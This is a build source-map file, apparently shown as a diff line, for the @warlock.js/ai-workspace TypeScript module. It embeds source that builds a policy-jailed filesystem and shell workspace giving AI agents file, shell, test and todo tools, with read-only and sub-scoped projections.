/\n * `listDir` / `runShell` / `shellOutput` / `shellKill` / `runTests` /\n * `grep` / `glob` / `todoWrite` / `todoRead`, plus `all()` (every tool)\n * and `pick(...)` (a least-privilege subset).\n * - **direct methods** — `readFile` / `writeFile` / `editFile` /\n * `multiEdit` / `listDir` / `exec` / `startShell` / `shellOutput` /\n * `shellKill` / `listShells` / `grep` / `glob` / `exists` / `mkdir` /\n * `remove` / `readTodos` / `writeTodos`, each delegating to the shared\n * ops layer, and `dispose()`.\n * - **`readonly()`** — a projection that vends only the read-side tools and\n * rejects every mutating direct method.\n * - **`scope(subdir)`** — a sub-jailed workspace rooted at `subdir`.\n *\n * Available at runtime as `ai.workspace(policy)` once this module is\n * imported (it registers the verb on the shared `ai` object).\n *\n * @param policy - The policy bounding the workspace (its `cwd` is the jail root).\n * @returns A fully-wired {@link Workspace}.\n *\n * @example\n * const ws = workspace({ cwd: \"/srv/acme-api\", shell: { allow: [\"npm\"], inheritEnv: [\"PATH\"] } });\n * const dev = ai.agent({ model, tools: ws.tools.all() });\n * await dev.execute(\"Make the failing cart-total suite green.\");\n *\n * @example\n * // Least-privilege reviewer — no write, no shell.\n * const reviewer = ai.agent({ model, tools: ws.readonly().tools.all() });\n */\nexport function workspace(policy: WorkspacePolicy): Workspace {\n return new WorkspaceImpl(policy);\n}\n\n/**\n * Attach the `workspace` verb to the `ai` namespace via module augmentation,\n * per the `ai.`-namespace convention. `@warlock.js/ai` now exposes a named `Ai`\n * interface for exactly this, so after a bare `import \"@warlock.js/ai-workspace\"`,\n * `ai.workspace(...)` is globally typed — no view/cast needed.\n */\ndeclare module \"@warlock.js/ai\" {\n interface Ai {\n /** Build a policy-jailed filesystem + shell {@link Workspace}. */\n workspace(policy: WorkspacePolicy): Workspace;\n }\n}\n\n// Runtime registration: attach `workspace` onto the shared `ai` object the\n// moment this package is imported (the augmentation above types it).\nai.workspace = workspace;\n"],"mappings":"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"}
1
+ {"version":3,"file":"workspace.mjs","names":[],"sources":["../../../../../../../packages/ai-workspace/src/workspace.ts"],"sourcesContent":["import path from \"node:path\";\nimport { ai, type ToolContract } from \"@warlock.js/ai\";\nimport { createLocalBackend } from \"./backends/local\";\nimport { createMockBackend } from \"./backends/mock\";\nimport { WorkspacePolicyError } from \"./errors\";\nimport { createOps } from \"./ops\";\nimport { ShellJobs } from \"./shell-jobs\";\nimport { TodoStore } from \"./todos\";\nimport { makeEditFileTool } from \"./tools/edit-file\";\nimport { makeGlobTool } from \"./tools/glob\";\nimport { makeGrepTool } from \"./tools/grep\";\nimport { makeListDirTool } from \"./tools/list-dir\";\nimport { makeMultiEditTool } from \"./tools/multi-edit\";\nimport { makeReadFileTool } from \"./tools/read-file\";\nimport { makeRunShellTool } from \"./tools/run-shell\";\nimport { makeRunTestsTool } from \"./tools/run-tests\";\nimport { makeShellKillTool } from \"./tools/shell-kill\";\nimport { makeShellOutputTool } from \"./tools/shell-output\";\nimport { makeTodoReadTool, makeTodoWriteTool } from \"./tools/todo\";\nimport { makeWriteFileTool } from \"./tools/write-file\";\nimport type {\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepResult,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n TodoListResult,\n Workspace,\n WorkspaceBackend,\n WorkspaceOps,\n WorkspacePolicy,\n WorkspaceTodoInput,\n WorkspaceToolName,\n WorkspaceTools,\n} from \"./contracts\";\n\n/**\n * The full set of tool names a writable workspace vends, in a stable\n * canonical order so `tools.all()` is deterministic.\n */\nconst ALL_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"editFile\",\n \"multiEdit\",\n \"writeFile\",\n \"listDir\",\n \"runShell\",\n \"shellOutput\",\n \"shellKill\",\n \"runTests\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/**\n * The subset a {@link Workspace.readonly} projection exposes — the\n * tools that cannot change the tree. `editFile` / `multiEdit` /\n * `writeFile` / the shell tools / `runTests` are deliberately omitted so a\n * reviewer agent has no path to change it. The todo tools stay: they only\n * touch the in-memory plan.\n */\nconst READONLY_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"listDir\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/** Tools vended only when the policy enables background commands. */\nconst BACKGROUND_TOOL_NAMES: ReadonlySet<WorkspaceToolName> = new Set([\"shellOutput\", \"shellKill\"]);\n\n/**\n * State one workspace shares with every projection made from it: its\n * background commands and its todo list.\n */\ninterface WorkspaceState {\n jobs: ShellJobs;\n todos: TodoStore;\n}\n\n/**\n * Choose the dumb IO executor for a policy. `\"mock\"` selects the\n * in-memory backend (hermetic tests); anything else — including the\n * `\"local\"` default and an absent `backend` — selects the real-disk\n * local backend.\n */\nfunction selectBackend(policy: WorkspacePolicy): WorkspaceBackend {\n if (policy.backend === \"mock\") {\n return createMockBackend();\n }\n\n return createLocalBackend();\n}\n\n/**\n * The internal {@link Workspace} implementation. Holds the resolved\n * backend, the policy, and the single shared {@link WorkspaceOps} seam\n * that both the agent-facing `.tools.*` factories and the human-facing\n * direct methods funnel through — one jail, one rule set, two callers.\n *\n * The `allowedTools` set narrows what `tools.*` will vend and which\n * mutating direct methods are permitted: a full workspace allows every\n * name; a {@link WorkspaceImpl.readonly} projection allows only the\n * read/grep/glob subset and rejects writes/edits/shell/mkdir/remove.\n *\n * Constructed via {@link workspace}; the class itself is internal.\n */\nclass WorkspaceImpl implements Workspace {\n /** The shared, policy-enforced operation layer (jail + guards). */\n private readonly ops: WorkspaceOps;\n\n /** Tool names this projection is permitted to vend / mutate through. */\n private readonly allowedTools: ReadonlySet<WorkspaceToolName>;\n\n public readonly policy: WorkspacePolicy;\n\n public readonly tools: WorkspaceTools;\n\n /** Background commands + todo list, shared with projections. */\n private readonly state: WorkspaceState;\n\n public constructor(\n policy: WorkspacePolicy,\n allowedTools: readonly WorkspaceToolName[] = ALL_TOOL_NAMES,\n state?: WorkspaceState,\n ) {\n this.policy = policy;\n this.allowedTools = new Set(allowedTools);\n this.state = state ?? { jobs: new ShellJobs(), todos: new TodoStore() };\n\n const backend = selectBackend(policy);\n this.ops = createOps(backend, policy, { jobs: this.state.jobs });\n this.tools = this.buildTools();\n }\n\n /**\n * Assemble the agent-facing tool namespace. Each factory builds its\n * tool over the shared `ops`; `all()` returns every *allowed* tool in\n * canonical order and `pick(...)` returns the named subset (silently\n * dropping any name this projection does not allow, so a `readonly()`\n * workspace can never be coaxed into vending a mutating tool).\n */\n private buildTools(): WorkspaceTools {\n // Each `make*Tool` returns a precisely-typed\n // `ToolContract<SpecificInput, SpecificOutput>`, but the agent-facing\n // `WorkspaceTools` surface vends the type-erased `ToolContract`\n // (`ToolContract<unknown, unknown>`). Because `ToolContract` puts its\n // input in a contravariant position (`execute(input)` / `action(input)`),\n // a specific contract is not assignable to the erased one — so erase it\n // once, here, through `unknown`. The runtime object is identical; only\n // the static input type is widened for the shared surface.\n const erase = <TInput, TOutput>(contract: ToolContract<TInput, TOutput>): ToolContract =>\n contract as unknown as ToolContract;\n\n const shell = this.policy.shell;\n const background = shell?.background !== undefined;\n const interpreter = shell?.interpreter ?? \"none\";\n\n const factories: Record<\n WorkspaceToolName,\n (opts?: { name?: string; command?: string }) => ToolContract\n > = {\n readFile: (opts) => erase(makeReadFileTool(this.ops, opts)),\n editFile: (opts) => erase(makeEditFileTool(this.ops, opts)),\n multiEdit: (opts) => erase(makeMultiEditTool(this.ops, opts)),\n writeFile: (opts) => erase(makeWriteFileTool(this.ops, opts)),\n listDir: (opts) => erase(makeListDirTool(this.ops, opts)),\n runShell: (opts) =>\n erase(\n makeRunShellTool(this.ops, {\n ...(opts?.name !== undefined ? { name: opts.name } : {}),\n ...(shell?.timeoutMs !== undefined ? { maxTimeoutMs: shell.timeoutMs } : {}),\n background,\n }),\n ),\n shellOutput: (opts) => erase(makeShellOutputTool(this.ops, opts)),\n shellKill: (opts) => erase(makeShellKillTool(this.ops, opts)),\n runTests: (opts) => erase(makeRunTestsTool(this.ops, { ...opts, interpreter })),\n grep: (opts) => erase(makeGrepTool(this.ops, opts)),\n glob: (opts) => erase(makeGlobTool(this.ops, opts)),\n todoWrite: (opts) => erase(makeTodoWriteTool(this.state.todos, opts)),\n todoRead: (opts) => erase(makeTodoReadTool(this.state.todos, opts)),\n };\n\n const build = (name: WorkspaceToolName, opts?: { name?: string; command?: string }) =>\n factories[name](opts);\n\n // `shell_output` / `shell_kill` only mean something when background\n // commands can be started, so `all()` leaves them out otherwise.\n const vendedByAll = (name: WorkspaceToolName): boolean =>\n this.allowedTools.has(name) && (background || !BACKGROUND_TOOL_NAMES.has(name));\n\n return {\n all: () => ALL_TOOL_NAMES.filter(vendedByAll).map((name) => build(name)),\n pick: (...names: WorkspaceToolName[]) =>\n names.filter((name) => this.allowedTools.has(name)).map((name) => build(name)),\n readFile: (opts) => build(\"readFile\", opts),\n editFile: (opts) => build(\"editFile\", opts),\n multiEdit: (opts) => build(\"multiEdit\", opts),\n writeFile: (opts) => build(\"writeFile\", opts),\n listDir: (opts) => build(\"listDir\", opts),\n runShell: (opts) => build(\"runShell\", opts),\n shellOutput: (opts) => build(\"shellOutput\", opts),\n shellKill: (opts) => build(\"shellKill\", opts),\n runTests: (opts) => build(\"runTests\", opts),\n grep: (opts) => build(\"grep\", opts),\n glob: (opts) => build(\"glob\", opts),\n todoWrite: (opts) => build(\"todoWrite\", opts),\n todoRead: (opts) => build(\"todoRead\", opts),\n };\n }\n\n /**\n * Reject a mutating direct method on a read-only projection — surfaced\n * as a {@link WorkspacePolicyError} (the same typed error a denied\n * command produces) so a caller branches on `error.type`.\n */\n private assertWritable(operation: string): void {\n if (this.allowedTools.has(\"writeFile\")) {\n return;\n }\n\n throw new WorkspacePolicyError(\n `Operation \"${operation}\" is not permitted on a read-only workspace.`,\n { type: \"denied-command\", command: operation },\n );\n }\n\n public readFile(\n filePath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n return this.ops.readFile(filePath, opts);\n }\n\n public async writeFile(\n filePath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n this.assertWritable(\"writeFile\");\n\n return this.ops.writeFile(filePath, content);\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n this.assertWritable(\"editFile\");\n\n return this.ops.editFile(input);\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n this.assertWritable(\"multiEdit\");\n\n return this.ops.multiEdit(input);\n }\n\n public listDir(dirPath?: string, opts?: ListDirOptions): Promise<ListDirResult> {\n return this.ops.listDir(dirPath, opts);\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n this.assertWritable(\"exec\");\n\n return this.ops.exec(command, opts);\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n this.assertWritable(\"startShell\");\n\n return this.ops.startShell(command, opts);\n }\n\n public shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n return this.ops.shellOutput(id, opts);\n }\n\n public async shellKill(id: string): Promise<ShellJobInfo> {\n this.assertWritable(\"shellKill\");\n\n return this.ops.shellKill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.ops.listShells();\n }\n\n public readTodos(): TodoListResult {\n return this.state.todos.read();\n }\n\n public writeTodos(todos: WorkspaceTodoInput[]): TodoListResult {\n return this.state.todos.write(todos);\n }\n\n public dispose(): Promise<void> {\n return this.ops.dispose();\n }\n\n public grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n return this.ops.grep(pattern, opts);\n }\n\n public glob(pattern: string): Promise<string[]> {\n return this.ops.glob(pattern);\n }\n\n public exists(filePath: string): Promise<boolean> {\n return this.ops.exists(filePath);\n }\n\n public async mkdir(filePath: string): Promise<void> {\n this.assertWritable(\"mkdir\");\n\n return this.ops.mkdir(filePath);\n }\n\n public async remove(filePath: string): Promise<void> {\n this.assertWritable(\"remove\");\n\n return this.ops.remove(filePath);\n }\n\n /**\n * A read-only projection over the SAME policy — only the read / list /\n * grep / glob / todo tools are vended and every mutating direct method\n * rejects with a {@link WorkspacePolicyError}. A fresh ops/backend is\n * built from the identical policy, so the projection sees the same jailed\n * tree; it shares this workspace's background commands and todo list.\n */\n public readonly(): Workspace {\n return new WorkspaceImpl(\n this.policy,\n READONLY_TOOL_NAMES.filter((name) => this.allowedTools.has(name)),\n this.state,\n );\n }\n\n /**\n * A sub-jailed view rooted at `subdir` (relative to this workspace's\n * `cwd`). Returns a brand-new workspace whose policy is this policy\n * with `cwd` narrowed to `join(cwd, subdir)` — same backend selection,\n * same allow/deny/shell/read sub-policies, but a tighter jail root. It\n * shares this workspace's background commands and todo list.\n */\n public scope(subdir: string): Workspace {\n return new WorkspaceImpl(\n { ...this.policy, cwd: path.join(this.policy.cwd, subdir) },\n [...this.allowedTools],\n this.state,\n );\n }\n}\n\n/**\n * Build a {@link Workspace} — the integrator that wires a\n * {@link WorkspacePolicy} to a backend, the shared policy-enforced ops\n * layer, and the agent-facing tool factories.\n *\n * The backend is chosen from `policy.backend`: `\"mock\"` runs in memory\n * (hermetic tests); the `\"local\"` default (and any absent value) runs\n * over the real disk via `@warlock.js/fs` + `node:child_process`. The\n * returned workspace exposes:\n *\n * - **`tools.*`** — `readFile` / `editFile` / `multiEdit` / `writeFile` /\n * `listDir` / `runShell` / `shellOutput` / `shellKill` / `runTests` /\n * `grep` / `glob` / `todoWrite` / `todoRead`, plus `all()` (every tool)\n * and `pick(...)` (a least-privilege subset).\n * - **direct methods** — `readFile` / `writeFile` / `editFile` /\n * `multiEdit` / `listDir` / `exec` / `startShell` / `shellOutput` /\n * `shellKill` / `listShells` / `grep` / `glob` / `exists` / `mkdir` /\n * `remove` / `readTodos` / `writeTodos`, each delegating to the shared\n * ops layer, and `dispose()`.\n * - **`readonly()`** — a projection that vends only the read-side tools and\n * rejects every mutating direct method.\n * - **`scope(subdir)`** — a sub-jailed workspace rooted at `subdir`.\n *\n * Available at runtime as `ai.workspace(policy)` once this module is\n * imported (it registers the verb on the shared `ai` object).\n *\n * @param policy - The policy bounding the workspace (its `cwd` is the jail root).\n * @returns A fully-wired {@link Workspace}.\n *\n * @example\n * const ws = workspace({ cwd: \"/srv/acme-api\", shell: { allow: [\"npm\"], inheritEnv: [\"PATH\"] } });\n * const dev = ai.agent({ model, tools: ws.tools.all() });\n * await dev.execute(\"Make the failing cart-total suite green.\");\n *\n * @example\n * // Least-privilege reviewer — no write, no shell.\n * const reviewer = ai.agent({ model, tools: ws.readonly().tools.all() });\n */\nexport function workspace(policy: WorkspacePolicy): Workspace {\n return new WorkspaceImpl(policy);\n}\n\n/**\n * Attach the `workspace` verb to the `ai` namespace via module augmentation,\n * per the `ai.`-namespace convention. `@warlock.js/ai` now exposes a named `Ai`\n * interface for exactly this, so after a bare `import \"@warlock.js/ai-workspace\"`,\n * `ai.workspace(...)` is globally typed — no view/cast needed.\n */\ndeclare module \"@warlock.js/ai\" {\n interface Ai {\n /** Build a policy-jailed filesystem + shell {@link Workspace}. */\n workspace(policy: WorkspacePolicy): Workspace;\n }\n}\n\n// Runtime registration: attach `workspace` onto the shared `ai` object the\n// moment this package is imported (the augmentation above types it).\nai.workspace = workspace;\n"],"mappings":"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